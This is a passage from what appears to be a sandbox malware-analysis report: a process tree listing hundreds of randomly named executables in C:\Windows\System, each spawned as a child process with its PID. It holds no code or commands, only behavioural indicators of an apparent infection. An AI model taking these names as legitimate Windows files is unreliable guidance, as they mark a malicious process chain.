  C:\Windows\System\mIWzkyC.exe
  2⤵
  PID:8540
- C:\Windows\System\DoPFwBj.exe
  C:\Windows\System\DoPFwBj.exe
  2⤵
  PID:8564
- C:\Windows\System\bFOtRLP.exe
  C:\Windows\System\bFOtRLP.exe
  2⤵
  PID:8580
- C:\Windows\System\mFsGaEE.exe
  C:\Windows\System\mFsGaEE.exe
  2⤵
  PID:8604
- C:\Windows\System\nveQLiK.exe
  C:\Windows\System\nveQLiK.exe
  2⤵
  PID:8620
- C:\Windows\System\MdViJNE.exe
  C:\Windows\System\MdViJNE.exe
  2⤵
  PID:8644
- C:\Windows\System\ZoZroOj.exe
  C:\Windows\System\ZoZroOj.exe
  2⤵
  PID:8664
- C:\Windows\System\FQohhLS.exe
  C:\Windows\System\FQohhLS.exe
  2⤵
  PID:8680
- C:\Windows\System\BYeprzC.exe
  C:\Windows\System\BYeprzC.exe
  2⤵
  PID:8700
- C:\Windows\System\fkuQxTe.exe
  C:\Windows\System\fkuQxTe.exe
  2⤵
  PID:8724
- C:\Windows\System\BAwFooa.exe
  C:\Windows\System\BAwFooa.exe
  2⤵
  PID:8740
- C:\Windows\System\MacOalg.exe
  C:\Windows\System\MacOalg.exe
  2⤵
  PID:8764
- C:\Windows\System\diyVuoL.exe
  C:\Windows\System\diyVuoL.exe
  2⤵
  PID:8780
- C:\Windows\System\TMNeaUQ.exe
  C:\Windows\System\TMNeaUQ.exe
  2⤵
  PID:8800
- C:\Windows\System\hruRjUg.exe
  C:\Windows\System\hruRjUg.exe
  2⤵
  PID:8824
- C:\Windows\System\kfBQeYh.exe
  C:\Windows\System\kfBQeYh.exe
  2⤵
  PID:8844
- C:\Windows\System\GEErrgQ.exe
  C:\Windows\System\GEErrgQ.exe
  2⤵
  PID:8860
- C:\Windows\System\ABzCbde.exe
  C:\Windows\System\ABzCbde.exe
  2⤵
  PID:8880
- C:\Windows\System\tTWvfRZ.exe
  C:\Windows\System\tTWvfRZ.exe
  2⤵
  PID:8896
- C:\Windows\System\LCHntSN.exe
  C:\Windows\System\LCHntSN.exe
  2⤵
  PID:8912
- C:\Windows\System\ouNqcfI.exe
  C:\Windows\System\ouNqcfI.exe
  2⤵
  PID:8936
- C:\Windows\System\aXBsANG.exe
  C:\Windows\System\aXBsANG.exe
  2⤵
  PID:8968
- C:\Windows\System\nmDXUGM.exe
  C:\Windows\System\nmDXUGM.exe
  2⤵
  PID:8992
- C:\Windows\System\iGRbuci.exe
  C:\Windows\System\iGRbuci.exe
  2⤵
  PID:9008
- C:\Windows\System\jPgGURu.exe
  C:\Windows\System\jPgGURu.exe
  2⤵
  PID:9024
- C:\Windows\System\COFlcxf.exe
  C:\Windows\System\COFlcxf.exe
  2⤵
  PID:9048
- C:\Windows\System\ULKzpCv.exe
  C:\Windows\System\ULKzpCv.exe
  2⤵
  PID:9064
- C:\Windows\System\ydYXvYS.exe
  C:\Windows\System\ydYXvYS.exe
  2⤵
  PID:9088
- C:\Windows\System\bOCEZUU.exe
  C:\Windows\System\bOCEZUU.exe
  2⤵
  PID:9108
- C:\Windows\System\EUbYwvc.exe
  C:\Windows\System\EUbYwvc.exe
  2⤵
  PID:9136
- C:\Windows\System\QrECzpA.exe
  C:\Windows\System\QrECzpA.exe
  2⤵
  PID:9156
- C:\Windows\System\EMjRtwt.exe
  C:\Windows\System\EMjRtwt.exe
  2⤵
  PID:9176
- C:\Windows\System\gTTNlLv.exe
  C:\Windows\System\gTTNlLv.exe
  2⤵
  PID:9196
- C:\Windows\System\wlgrZoh.exe
  C:\Windows\System\wlgrZoh.exe
  2⤵
  PID:6344
- C:\Windows\System\YELgAzW.exe
  C:\Windows\System\YELgAzW.exe
  2⤵
  PID:2300
- C:\Windows\System\MygmBSf.exe
  C:\Windows\System\MygmBSf.exe
  2⤵
  PID:2020
- C:\Windows\System\KHVhxhI.exe
  C:\Windows\System\KHVhxhI.exe
  2⤵
  PID:7724
- C:\Windows\System\bEVVQkW.exe
  C:\Windows\System\bEVVQkW.exe
  2⤵
  PID:7824
- C:\Windows\System\VoCCvnu.exe
  C:\Windows\System\VoCCvnu.exe
  2⤵
  PID:7888
- C:\Windows\System\HXmBkUU.exe
  C:\Windows\System\HXmBkUU.exe
  2⤵
  PID:7956
- C:\Windows\System\USEVLtJ.exe
  C:\Windows\System\USEVLtJ.exe
  2⤵
  PID:8056
- C:\Windows\System\dOQpQEy.exe
  C:\Windows\System\dOQpQEy.exe
  2⤵
  PID:8156
- C:\Windows\System\turROen.exe
  C:\Windows\System\turROen.exe
  2⤵
  PID:8276
- C:\Windows\System\sPvHfYo.exe
  C:\Windows\System\sPvHfYo.exe
  2⤵
  PID:9220
- C:\Windows\System\GXpFRqC.exe
  C:\Windows\System\GXpFRqC.exe
  2⤵
  PID:9244
- C:\Windows\System\nuedEAz.exe
  C:\Windows\System\nuedEAz.exe
  2⤵
  PID:9264
- C:\Windows\System\xZiMvIx.exe
  C:\Windows\System\xZiMvIx.exe
  2⤵
  PID:9288
- C:\Windows\System\SYzxQxf.exe
  C:\Windows\System\SYzxQxf.exe
  2⤵
  PID:9304
- C:\Windows\System\uKFJNGU.exe
  C:\Windows\System\uKFJNGU.exe
  2⤵
  PID:9320
- C:\Windows\System\oetrlzg.exe
  C:\Windows\System\oetrlzg.exe
  2⤵
  PID:9344
- C:\Windows\System\VAFgAxi.exe
  C:\Windows\System\VAFgAxi.exe
  2⤵
  PID:9360
- C:\Windows\System\gEcTOHt.exe
  C:\Windows\System\gEcTOHt.exe
  2⤵
  PID:9384
- C:\Windows\System\dQAmaJX.exe
  C:\Windows\System\dQAmaJX.exe
  2⤵
  PID:9408
- C:\Windows\System\QHMDRqO.exe
  C:\Windows\System\QHMDRqO.exe
  2⤵
  PID:9424
- C:\Windows\System\xqHISfu.exe
  C:\Windows\System\xqHISfu.exe
  2⤵
  PID:9452
- C:\Windows\System\NdsHlqx.exe
  C:\Windows\System\NdsHlqx.exe
  2⤵
  PID:9468
- C:\Windows\System\EZIXrTL.exe
  C:\Windows\System\EZIXrTL.exe
  2⤵
  PID:9488
- C:\Windows\System\ppBNiEh.exe
  C:\Windows\System\ppBNiEh.exe
  2⤵
  PID:9504
- C:\Windows\System\MXYtZXX.exe
  C:\Windows\System\MXYtZXX.exe
  2⤵
  PID:9528
- C:\Windows\System\JujiSRv.exe
  C:\Windows\System\JujiSRv.exe
  2⤵
  PID:9544
- C:\Windows\System\bYCtNgA.exe
  C:\Windows\System\bYCtNgA.exe
  2⤵
  PID:9568
- C:\Windows\System\nUiicvl.exe
  C:\Windows\System\nUiicvl.exe
  2⤵
  PID:9592
- C:\Windows\System\hWGERjT.exe
  C:\Windows\System\hWGERjT.exe
  2⤵
  PID:9612
- C:\Windows\System\ihUKhre.exe
  C:\Windows\System\ihUKhre.exe
  2⤵
  PID:9632
- C:\Windows\System\xMVaBCA.exe
  C:\Windows\System\xMVaBCA.exe
  2⤵
  PID:9648
- C:\Windows\System\gzNOwjT.exe
  C:\Windows\System\gzNOwjT.exe
  2⤵
  PID:9672
- C:\Windows\System\nOsrOwg.exe
  C:\Windows\System\nOsrOwg.exe
  2⤵
  PID:9696
- C:\Windows\System\aOtuweZ.exe
  C:\Windows\System\aOtuweZ.exe
  2⤵
  PID:9716
- C:\Windows\System\lUKBoLx.exe
  C:\Windows\System\lUKBoLx.exe
  2⤵
  PID:9740
- C:\Windows\System\cAdbmaA.exe
  C:\Windows\System\cAdbmaA.exe
  2⤵
  PID:9760
- C:\Windows\System\smvPgFu.exe
  C:\Windows\System\smvPgFu.exe
  2⤵
  PID:9784
- C:\Windows\System\FkmbMAc.exe
  C:\Windows\System\FkmbMAc.exe
  2⤵
  PID:9800
- C:\Windows\System\jgYdrRW.exe
  C:\Windows\System\jgYdrRW.exe
  2⤵
  PID:9828
- C:\Windows\System\Mtojksu.exe
  C:\Windows\System\Mtojksu.exe
  2⤵
  PID:9848
- C:\Windows\System\FnDzUcZ.exe
  C:\Windows\System\FnDzUcZ.exe
  2⤵
  PID:9872
- C:\Windows\System\wUkMCmX.exe
  C:\Windows\System\wUkMCmX.exe
  2⤵
  PID:9888
- C:\Windows\System\luwAuRw.exe
  C:\Windows\System\luwAuRw.exe
  2⤵
  PID:9916
- C:\Windows\System\wLVoJuZ.exe
  C:\Windows\System\wLVoJuZ.exe
  2⤵
  PID:9932
- C:\Windows\System\iYZQAWM.exe
  C:\Windows\System\iYZQAWM.exe
  2⤵
  PID:9948
- C:\Windows\System\UvMADKc.exe
  C:\Windows\System\UvMADKc.exe
  2⤵
  PID:9968
- C:\Windows\System\AvcVVrf.exe
  C:\Windows\System\AvcVVrf.exe
  2⤵
  PID:9984
- C:\Windows\System\hgAoEbs.exe
  C:\Windows\System\hgAoEbs.exe
  2⤵
  PID:10000
- C:\Windows\System\tLSPFDI.exe
  C:\Windows\System\tLSPFDI.exe
  2⤵
  PID:10120
- C:\Windows\System\EbvUVnd.exe
  C:\Windows\System\EbvUVnd.exe
  2⤵
  PID:10140
- C:\Windows\System\EmMrLRK.exe
  C:\Windows\System\EmMrLRK.exe
  2⤵
  PID:10160
- C:\Windows\System\cecgfrx.exe
  C:\Windows\System\cecgfrx.exe
  2⤵
  PID:10180
- C:\Windows\System\DNQYCHK.exe
  C:\Windows\System\DNQYCHK.exe
  2⤵
  PID:10204
- C:\Windows\System\mgKzimb.exe
  C:\Windows\System\mgKzimb.exe
  2⤵
  PID:10220
- C:\Windows\System\TMEKJiV.exe
  C:\Windows\System\TMEKJiV.exe
  2⤵
  PID:4356
- C:\Windows\System\vaBYEkU.exe
  C:\Windows\System\vaBYEkU.exe
  2⤵
  PID:4092
- C:\Windows\System\nPGDFrM.exe
  C:\Windows\System\nPGDFrM.exe
  2⤵
  PID:3176
- C:\Windows\System\DlHrdiV.exe
  C:\Windows\System\DlHrdiV.exe
  2⤵
  PID:5392
- C:\Windows\System\WnEjlAp.exe
  C:\Windows\System\WnEjlAp.exe
  2⤵
  PID:5544
- C:\Windows\System\dJulRiM.exe
  C:\Windows\System\dJulRiM.exe
  2⤵
  PID:5680
- C:\Windows\System\trkJAZC.exe
  C:\Windows\System\trkJAZC.exe
  2⤵
  PID:5772
- C:\Windows\System\iTBAMYk.exe
  C:\Windows\System\iTBAMYk.exe
  2⤵
  PID:5860
- C:\Windows\System\JjzClqJ.exe
  C:\Windows\System\JjzClqJ.exe
  2⤵
  PID:5964
- C:\Windows\System\BqevdfY.exe
  C:\Windows\System\BqevdfY.exe
  2⤵
  PID:6064
- C:\Windows\System\vrPlZTy.exe
  C:\Windows\System\vrPlZTy.exe
  2⤵
  PID:3036
- C:\Windows\System\EFAyAwA.exe
  C:\Windows\System\EFAyAwA.exe
  2⤵
  PID:2600
- C:\Windows\System\pPIHEnc.exe
  C:\Windows\System\pPIHEnc.exe
  2⤵
  PID:4020
- C:\Windows\System\UgFeLqX.exe
  C:\Windows\System\UgFeLqX.exe
  2⤵
  PID:6160
- C:\Windows\System\QJbCsSd.exe
  C:\Windows\System\QJbCsSd.exe
  2⤵
  PID:6232
- C:\Windows\System\aBnBjoy.exe
  C:\Windows\System\aBnBjoy.exe
  2⤵
  PID:6320
- C:\Windows\System\bhMMjzd.exe
  C:\Windows\System\bhMMjzd.exe
  2⤵
  PID:7820
- C:\Windows\System\JTCNBLg.exe
  C:\Windows\System\JTCNBLg.exe
  2⤵
  PID:9044
- C:\Windows\System\OCOIvgq.exe
  C:\Windows\System\OCOIvgq.exe
  2⤵
  PID:8248
- C:\Windows\System\teXDqHc.exe
  C:\Windows\System\teXDqHc.exe
  2⤵
  PID:2168
- C:\Windows\System\JxJuqGO.exe
  C:\Windows\System\JxJuqGO.exe
  2⤵
  PID:7688
- C:\Windows\System\uToCoZH.exe
  C:\Windows\System\uToCoZH.exe
  2⤵
  PID:7932
- C:\Windows\System\InWIjke.exe
  C:\Windows\System\InWIjke.exe
  2⤵
  PID:10260
- C:\Windows\System\DQGpXUf.exe
  C:\Windows\System\DQGpXUf.exe
  2⤵
  PID:10280
- C:\Windows\System\HueKeuQ.exe
  C:\Windows\System\HueKeuQ.exe
  2⤵
  PID:10296
- C:\Windows\System\PpdNLgO.exe
  C:\Windows\System\PpdNLgO.exe
  2⤵
  PID:10320
- C:\Windows\System\QKbaSBA.exe
  C:\Windows\System\QKbaSBA.exe
  2⤵
  PID:10336
- C:\Windows\System\WkWPHcA.exe
  C:\Windows\System\WkWPHcA.exe
  2⤵
  PID:10364
- C:\Windows\System\uELwnst.exe
  C:\Windows\System\uELwnst.exe
  2⤵
  PID:10380
- C:\Windows\System\camvDZX.exe
  C:\Windows\System\camvDZX.exe
  2⤵
  PID:10408
- C:\Windows\System\BIvEaMk.exe
  C:\Windows\System\BIvEaMk.exe
  2⤵
  PID:10428
- C:\Windows\System\pauJRjF.exe
  C:\Windows\System\pauJRjF.exe
  2⤵
  PID:10448
- C:\Windows\System\AwnHJAi.exe
  C:\Windows\System\AwnHJAi.exe
  2⤵
  PID:10468
- C:\Windows\System\xGhJNig.exe
  C:\Windows\System\xGhJNig.exe
  2⤵
  PID:10484
- C:\Windows\System\FkcBbFI.exe
  C:\Windows\System\FkcBbFI.exe
  2⤵
  PID:10508
- C:\Windows\System\JLvvcQM.exe
  C:\Windows\System\JLvvcQM.exe
  2⤵
  PID:10524
- C:\Windows\System\himPRDY.exe
  C:\Windows\System\himPRDY.exe
  2⤵
  PID:10548
- C:\Windows\System\LkqBxcs.exe
  C:\Windows\System\LkqBxcs.exe
  2⤵
  PID:10572
- C:\Windows\System\cfjZONy.exe
  C:\Windows\System\cfjZONy.exe
  2⤵
  PID:10592
- C:\Windows\System\JQhlqwi.exe
  C:\Windows\System\JQhlqwi.exe
  2⤵
  PID:10616
- C:\Windows\System\gVRsJyo.exe
  C:\Windows\System\gVRsJyo.exe
  2⤵
  PID:10636
- C:\Windows\System\xMFOmWS.exe
  C:\Windows\System\xMFOmWS.exe
  2⤵
  PID:10656
- C:\Windows\System\JTVGHgL.exe
  C:\Windows\System\JTVGHgL.exe
  2⤵
  PID:10676
- C:\Windows\System\ncIZpUx.exe
  C:\Windows\System\ncIZpUx.exe
  2⤵
  PID:10704
- C:\Windows\System\Cxtgqyl.exe
  C:\Windows\System\Cxtgqyl.exe
  2⤵
  PID:10720
- C:\Windows\System\zIdsYUi.exe
  C:\Windows\System\zIdsYUi.exe
  2⤵
  PID:10740
- C:\Windows\System\javTbDA.exe
  C:\Windows\System\javTbDA.exe
  2⤵
  PID:10760
- C:\Windows\System\UUkBXAs.exe
  C:\Windows\System\UUkBXAs.exe
  2⤵
  PID:10784
- C:\Windows\System\bqfnMjR.exe
  C:\Windows\System\bqfnMjR.exe
  2⤵
  PID:10800
- C:\Windows\System\yXbRRZo.exe
  C:\Windows\System\yXbRRZo.exe
  2⤵
  PID:10820
- C:\Windows\System\UnKTAfy.exe
  C:\Windows\System\UnKTAfy.exe
  2⤵
  PID:10840
- C:\Windows\System\kJROkIh.exe
  C:\Windows\System\kJROkIh.exe
  2⤵
  PID:10864
- C:\Windows\System\fipgsZz.exe
  C:\Windows\System\fipgsZz.exe
  2⤵
  PID:10884
- C:\Windows\System\LCeMFug.exe
  C:\Windows\System\LCeMFug.exe
  2⤵
  PID:10908
- C:\Windows\System\MbdaXUv.exe
  C:\Windows\System\MbdaXUv.exe
  2⤵
  PID:10932
- C:\Windows\System\rjPAYCl.exe
  C:\Windows\System\rjPAYCl.exe
  2⤵
  PID:10956
- C:\Windows\System\kxSfdpJ.exe
  C:\Windows\System\kxSfdpJ.exe
  2⤵
  PID:10972
- C:\Windows\System\EFnBsAK.exe
  C:\Windows\System\EFnBsAK.exe
  2⤵
  PID:11000
- C:\Windows\System\XCFwTLm.exe
  C:\Windows\System\XCFwTLm.exe
  2⤵
  PID:11016
- C:\Windows\System\eaxIMBr.exe
  C:\Windows\System\eaxIMBr.exe
  2⤵
  PID:11040
- C:\Windows\System\PGVBTKZ.exe
  C:\Windows\System\PGVBTKZ.exe
  2⤵
  PID:11056
- C:\Windows\System\wMXlIwv.exe
  C:\Windows\System\wMXlIwv.exe
  2⤵
  PID:11080
- C:\Windows\System\MCWUXgg.exe
  C:\Windows\System\MCWUXgg.exe
  2⤵
  PID:11100
- C:\Windows\System\qSNLGqO.exe
  C:\Windows\System\qSNLGqO.exe
  2⤵
  PID:11116
- C:\Windows\System\fKtBljD.exe
  C:\Windows\System\fKtBljD.exe
  2⤵
  PID:11136
- C:\Windows\System\lEKRBgV.exe
  C:\Windows\System\lEKRBgV.exe
  2⤵
  PID:11152
- C:\Windows\System\uQVvpZq.exe
  C:\Windows\System\uQVvpZq.exe
  2⤵
  PID:11176
- C:\Windows\System\lLLSGXj.exe
  C:\Windows\System\lLLSGXj.exe
  2⤵
  PID:11200
- C:\Windows\System\XjxDFmk.exe
  C:\Windows\System\XjxDFmk.exe
  2⤵
  PID:11220
- C:\Windows\System\xjImWGp.exe
  C:\Windows\System\xjImWGp.exe
  2⤵
  PID:11240
- C:\Windows\System\nGuLcpT.exe
  C:\Windows\System\nGuLcpT.exe
  2⤵
  PID:8052
- C:\Windows\System\riiTEus.exe
  C:\Windows\System\riiTEus.exe
  2⤵
  PID:8264
- C:\Windows\System\bOIVkUg.exe
  C:\Windows\System\bOIVkUg.exe
  2⤵
  PID:9272
- C:\Windows\System\XGJvZVf.exe
  C:\Windows\System\XGJvZVf.exe
  2⤵
  PID:9300
- C:\Windows\System\cLKyvuI.exe
  C:\Windows\System\cLKyvuI.exe
  2⤵
  PID:9420
- C:\Windows\System\hfatCyT.exe
  C:\Windows\System\hfatCyT.exe
  2⤵
  PID:9464
- C:\Windows\System\nILHQXZ.exe
  C:\Windows\System\nILHQXZ.exe
  2⤵
  PID:9540
- C:\Windows\System\pgNYvaq.exe
  C:\Windows\System\pgNYvaq.exe
  2⤵
  PID:9644
- C:\Windows\System\EpWZBoT.exe
  C:\Windows\System\EpWZBoT.exe
  2⤵
  PID:9712
- C:\Windows\System\VPyiijx.exe
  C:\Windows\System\VPyiijx.exe
  2⤵
  PID:9756
- C:\Windows\System\eTWqeRs.exe
  C:\Windows\System\eTWqeRs.exe
  2⤵
  PID:9836
- C:\Windows\System\JzDRGKM.exe
  C:\Windows\System\JzDRGKM.exe
  2⤵
  PID:9868
- C:\Windows\System\mdgwmQg.exe
  C:\Windows\System\mdgwmQg.exe
  2⤵
  PID:9964
- C:\Windows\System\oMZOkHY.exe
  C:\Windows\System\oMZOkHY.exe
  2⤵
  PID:6424
- C:\Windows\System\rvQtrhX.exe
  C:\Windows\System\rvQtrhX.exe
  2⤵
  PID:6476
- C:\Windows\System\ZNWgNwF.exe
  C:\Windows\System\ZNWgNwF.exe
  2⤵
  PID:6536
- C:\Windows\System\IbTgxUT.exe
  C:\Windows\System\IbTgxUT.exe
  2⤵
  PID:7068
- C:\Windows\System\YkRWGyp.exe
  C:\Windows\System\YkRWGyp.exe
  2⤵
  PID:7196
- C:\Windows\System\xMsNKXZ.exe
  C:\Windows\System\xMsNKXZ.exe
  2⤵
  PID:7240
- C:\Windows\System\NRKFcCc.exe
  C:\Windows\System\NRKFcCc.exe
  2⤵
  PID:7284
- C:\Windows\System\WHoeVBh.exe
  C:\Windows\System\WHoeVBh.exe
  2⤵
  PID:7344
- C:\Windows\System\EmXHDdn.exe
  C:\Windows\System\EmXHDdn.exe
  2⤵
  PID:7380
- C:\Windows\System\GgsOlaG.exe
  C:\Windows\System\GgsOlaG.exe
  2⤵
  PID:7448
- C:\Windows\System\OBtRJPl.exe
  C:\Windows\System\OBtRJPl.exe
  2⤵
  PID:7500
- C:\Windows\System\OQgIYul.exe
  C:\Windows\System\OQgIYul.exe
  2⤵
  PID:7532
- C:\Windows\System\cCgBtai.exe
  C:\Windows\System\cCgBtai.exe
  2⤵
  PID:7560
- C:\Windows\System\lKHhqpo.exe
  C:\Windows\System\lKHhqpo.exe
  2⤵
  PID:7604
- C:\Windows\System\JxrACrn.exe
  C:\Windows\System\JxrACrn.exe
  2⤵
  PID:7644
- C:\Windows\System\hgTumMr.exe
  C:\Windows\System\hgTumMr.exe
  2⤵
  PID:7672
- C:\Windows\System\ZqswcDb.exe
  C:\Windows\System\ZqswcDb.exe
  2⤵
  PID:7780
- C:\Windows\System\tUpyFFq.exe
  C:\Windows\System\tUpyFFq.exe
  2⤵
  PID:7952
- C:\Windows\System\urqpbjY.exe
  C:\Windows\System\urqpbjY.exe
  2⤵
  PID:8016
- C:\Windows\System\UPtItfJ.exe
  C:\Windows\System\UPtItfJ.exe
  2⤵
  PID:8072
- C:\Windows\System\DHvSwnv.exe
  C:\Windows\System\DHvSwnv.exe
  2⤵
  PID:8164
- C:\Windows\System\UpzNzLN.exe
  C:\Windows\System\UpzNzLN.exe
  2⤵
  PID:8212
- C:\Windows\System\THPBGod.exe
  C:\Windows\System\THPBGod.exe
  2⤵
  PID:8260
- C:\Windows\System\htWtxZI.exe
  C:\Windows\System\htWtxZI.exe
  2⤵
  PID:3944
- C:\Windows\System\oZlksWs.exe
  C:\Windows\System\oZlksWs.exe
  2⤵
  PID:9356
- C:\Windows\System\BavMoET.exe
  C:\Windows\System\BavMoET.exe
  2⤵
  PID:10944
- C:\Windows\System\dDUHCdO.exe
  C:\Windows\System\dDUHCdO.exe
  2⤵
  PID:11092
- C:\Windows\System\ElVVxdu.exe
  C:\Windows\System\ElVVxdu.exe
  2⤵
  PID:11256
- C:\Windows\System\pIydyKm.exe
  C:\Windows\System\pIydyKm.exe
  2⤵
  PID:9440
- C:\Windows\System\uvbRZdo.exe
  C:\Windows\System\uvbRZdo.exe
  2⤵
  PID:11396
- C:\Windows\System\hPlhxLv.exe
  C:\Windows\System\hPlhxLv.exe
  2⤵
  PID:11436
- C:\Windows\System\BilLpYw.exe
  C:\Windows\System\BilLpYw.exe
  2⤵
  PID:11452
- C:\Windows\System\QbXOBpz.exe
  C:\Windows\System\QbXOBpz.exe
  2⤵
  PID:11468
- C:\Windows\System\cnOpOeP.exe
  C:\Windows\System\cnOpOeP.exe
  2⤵
  PID:11484
- C:\Windows\System\MWiIKIV.exe
  C:\Windows\System\MWiIKIV.exe
  2⤵
  PID:11500
- C:\Windows\System\mwDPVCC.exe
  C:\Windows\System\mwDPVCC.exe
  2⤵
  PID:11516
- C:\Windows\System\RHlqqFw.exe
  C:\Windows\System\RHlqqFw.exe
  2⤵
  PID:11532
- C:\Windows\System\YwdwsnD.exe
  C:\Windows\System\YwdwsnD.exe
  2⤵
  PID:11548
- C:\Windows\System\jojheOE.exe
  C:\Windows\System\jojheOE.exe
  2⤵
  PID:11564
- C:\Windows\System\NNAKCNh.exe
  C:\Windows\System\NNAKCNh.exe
  2⤵
  PID:11580
- C:\Windows\System\oHYvBKe.exe
  C:\Windows\System\oHYvBKe.exe
  2⤵
  PID:11596
- C:\Windows\System\YWnEvJP.exe
  C:\Windows\System\YWnEvJP.exe
  2⤵
  PID:11612
- C:\Windows\System\kjlzgqC.exe
  C:\Windows\System\kjlzgqC.exe
  2⤵
  PID:11628
- C:\Windows\System\ltCoOGl.exe
  C:\Windows\System\ltCoOGl.exe
  2⤵
  PID:11644
- C:\Windows\System\QINtnkW.exe
  C:\Windows\System\QINtnkW.exe
  2⤵
  PID:11660
- C:\Windows\System\ELIsHQl.exe
  C:\Windows\System\ELIsHQl.exe
  2⤵
  PID:11676
- C:\Windows\System\gUgWKDV.exe
  C:\Windows\System\gUgWKDV.exe
  2⤵
  PID:11704
- C:\Windows\System\OphViGB.exe
  C:\Windows\System\OphViGB.exe
  2⤵
  PID:11796
- C:\Windows\System\YYxhGVt.exe
  C:\Windows\System\YYxhGVt.exe
  2⤵
  PID:11812
- C:\Windows\System\PnFpivZ.exe
  C:\Windows\System\PnFpivZ.exe
  2⤵
  PID:11832
- C:\Windows\System\LcONkoU.exe
  C:\Windows\System\LcONkoU.exe
  2⤵
  PID:11848
- C:\Windows\System\JrdoOVM.exe
  C:\Windows\System\JrdoOVM.exe
  2⤵
  PID:11864
- C:\Windows\System\aVfUMmm.exe
  C:\Windows\System\aVfUMmm.exe
  2⤵
  PID:11880
- C:\Windows\System\hnnAGLS.exe
  C:\Windows\System\hnnAGLS.exe
  2⤵
  PID:11896
- C:\Windows\System\xAlmbYC.exe
  C:\Windows\System\xAlmbYC.exe
  2⤵
  PID:11912
- C:\Windows\System\kadoFOH.exe
  C:\Windows\System\kadoFOH.exe
  2⤵
  PID:11928
- C:\Windows\System\XOeajhT.exe
  C:\Windows\System\XOeajhT.exe
  2⤵
  PID:11952
- C:\Windows\System\UpVnBpk.exe
  C:\Windows\System\UpVnBpk.exe
  2⤵
  PID:11972
- C:\Windows\System\cHEbIQC.exe
  C:\Windows\System\cHEbIQC.exe
  2⤵
  PID:12016
- C:\Windows\System\tDfzQHR.exe
  C:\Windows\System\tDfzQHR.exe
  2⤵
  PID:12036
- C:\Windows\System\Vmedast.exe
  C:\Windows\System\Vmedast.exe
  2⤵
  PID:12084
- C:\Windows\System\GGaMcHb.exe
  C:\Windows\System\GGaMcHb.exe
  2⤵
  PID:12112
- C:\Windows\System\WoxPxuZ.exe
  C:\Windows\System\WoxPxuZ.exe
  2⤵
  PID:12144
- C:\Windows\System\pxToRuX.exe
  C:\Windows\System\pxToRuX.exe
  2⤵
  PID:12168
- C:\Windows\System\vHcYcPM.exe
  C:\Windows\System\vHcYcPM.exe
  2⤵
  PID:12196
- C:\Windows\System\fhuRGCK.exe
  C:\Windows\System\fhuRGCK.exe
  2⤵
  PID:12220
- C:\Windows\System\mWozeNg.exe
  C:\Windows\System\mWozeNg.exe
  2⤵
  PID:12252
- C:\Windows\System\YOyTCgQ.exe
  C:\Windows\System\YOyTCgQ.exe
  2⤵
  PID:12276
- C:\Windows\System\aIfwntE.exe
  C:\Windows\System\aIfwntE.exe
  2⤵
  PID:9980
- C:\Windows\System\QURzEDV.exe
  C:\Windows\System\QURzEDV.exe
  2⤵
  PID:8452
- C:\Windows\System\VQVxAsG.exe
  C:\Windows\System\VQVxAsG.exe
  2⤵
  PID:8532
- C:\Windows\System\HdZPQeD.exe
  C:\Windows\System\HdZPQeD.exe
  2⤵
  PID:8592
- C:\Windows\System\Cqtetjd.exe
  C:\Windows\System\Cqtetjd.exe
  2⤵
  PID:8616
- C:\Windows\System\BgpCESs.exe
  C:\Windows\System\BgpCESs.exe
  2⤵
  PID:9956
- C:\Windows\System\SEzXIWJ.exe
  C:\Windows\System\SEzXIWJ.exe
  2⤵
  PID:11272
- C:\Windows\System\MyzvNPm.exe
  C:\Windows\System\MyzvNPm.exe
  2⤵
  PID:1612
- C:\Windows\System\lathiHF.exe
  C:\Windows\System\lathiHF.exe
  2⤵
  PID:10092
- C:\Windows\System\aCZjOSa.exe
  C:\Windows\System\aCZjOSa.exe
  2⤵
  PID:10148
- C:\Windows\System\KauCFUR.exe
  C:\Windows\System\KauCFUR.exe
  2⤵
  PID:13128
- C:\Windows\System\DVeQpqk.exe
  C:\Windows\System\DVeQpqk.exe
  2⤵
  PID:13240
- C:\Windows\System\inHUHXP.exe
  C:\Windows\System\inHUHXP.exe
  2⤵
  PID:13276
- C:\Windows\System\snzCfIx.exe
  C:\Windows\System\snzCfIx.exe
  2⤵
  PID:13304
- C:\Windows\System\knmfJFe.exe
  C:\Windows\System\knmfJFe.exe
  2⤵
  PID:11232
- C:\Windows\System\VJarLlA.exe
  C:\Windows\System\VJarLlA.exe
  2⤵
  PID:8444
- C:\Windows\System\PCcnXsu.exe
  C:\Windows\System\PCcnXsu.exe
  2⤵
  PID:11480
- C:\Windows\System\JjPdEDc.exe
  C:\Windows\System\JjPdEDc.exe
  2⤵
  PID:9824
- C:\Windows\System\NsqMqHX.exe
  C:\Windows\System\NsqMqHX.exe
  2⤵
  PID:6836
- C:\Windows\System\luHCDNG.exe
  C:\Windows\System\luHCDNG.exe
  2⤵
  PID:7172
- C:\Windows\System\CLPlaNr.exe
  C:\Windows\System\CLPlaNr.exe
  2⤵
  PID:7304
- C:\Windows\System\svttWzK.exe
  C:\Windows\System\svttWzK.exe
  2⤵
  PID:7444
- C:\Windows\System\hbTjZRz.exe
  C:\Windows\System\hbTjZRz.exe
  2⤵
  PID:7512
- C:\Windows\System\kOADNoo.exe
  C:\Windows\System\kOADNoo.exe
  2⤵
  PID:7624
- C:\Windows\System\dIrWbVZ.exe
  C:\Windows\System\dIrWbVZ.exe
  2⤵
  PID:7664
- C:\Windows\System\zVFKAgP.exe
  C:\Windows\System\zVFKAgP.exe
  2⤵
  PID:7948
- C:\Windows\System\IGrmTIZ.exe
  C:\Windows\System\IGrmTIZ.exe
  2⤵
  PID:8040
- C:\Windows\System\lmHQWUM.exe
  C:\Windows\System\lmHQWUM.exe
  2⤵
  PID:8184
- C:\Windows\System\SgsudzE.exe
  C:\Windows\System\SgsudzE.exe
  2⤵
  PID:3568
- C:\Windows\System\ATigUiJ.exe
  C:\Windows\System\ATigUiJ.exe
  2⤵
  PID:9668
- C:\Windows\System\BRhmcMT.exe
  C:\Windows\System\BRhmcMT.exe
  2⤵
  PID:9896
- C:\Windows\System\IjPLFFV.exe
  C:\Windows\System\IjPLFFV.exe
  2⤵
  PID:11064
- C:\Windows\System\tvvwoOU.exe
  C:\Windows\System\tvvwoOU.exe
  2⤵
  PID:6100
- C:\Windows\System\tVjEuqR.exe
  C:\Windows\System\tVjEuqR.exe
  2⤵
  PID:12008
- C:\Windows\System\ealQPfW.exe
  C:\Windows\System\ealQPfW.exe
  2⤵
  PID:12188
- C:\Windows\System\NJbxiiK.exe
  C:\Windows\System\NJbxiiK.exe
  2⤵
  PID:9860
- C:\Windows\System\bSVeYPo.exe
  C:\Windows\System\bSVeYPo.exe
  2⤵
  PID:13380
